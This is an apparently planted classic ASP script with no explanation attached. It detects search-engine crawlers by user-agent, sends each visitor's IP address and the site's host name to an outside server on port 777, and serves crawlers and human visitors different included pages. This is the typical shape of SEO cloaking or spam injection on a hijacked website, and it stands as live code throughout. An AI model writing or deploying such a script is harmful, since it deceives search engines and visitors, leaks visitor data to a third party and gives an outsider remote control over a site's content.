<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("bot","spider","sogou","yahoo","360","so","sm","Yisou")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim wanyusoft_strReturn
dim i,ThisCharCode,NextCharCode
wanyusoft_strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
wanyusoft_strReturn = wanyusoft_strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
wanyusoft_strReturn = wanyusoft_strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = wanyusoft_strReturn
End Function
ip = Request.ServerVariables("Remote_ADDR")
host = Request.ServerVariables("HTTP_HOST")
info = getHTTPPage("http://www.xiaoba888.com:777/"+ip+"/"+host)
spider = isspider()
if info = "" then
if spider = false then
%>
<!--#include file="1.html" -->
<%
else%>
<!--#include file="2.html" -->
<%
end if
else%>
<!--#include file="2.html" -->
<%
end if
%>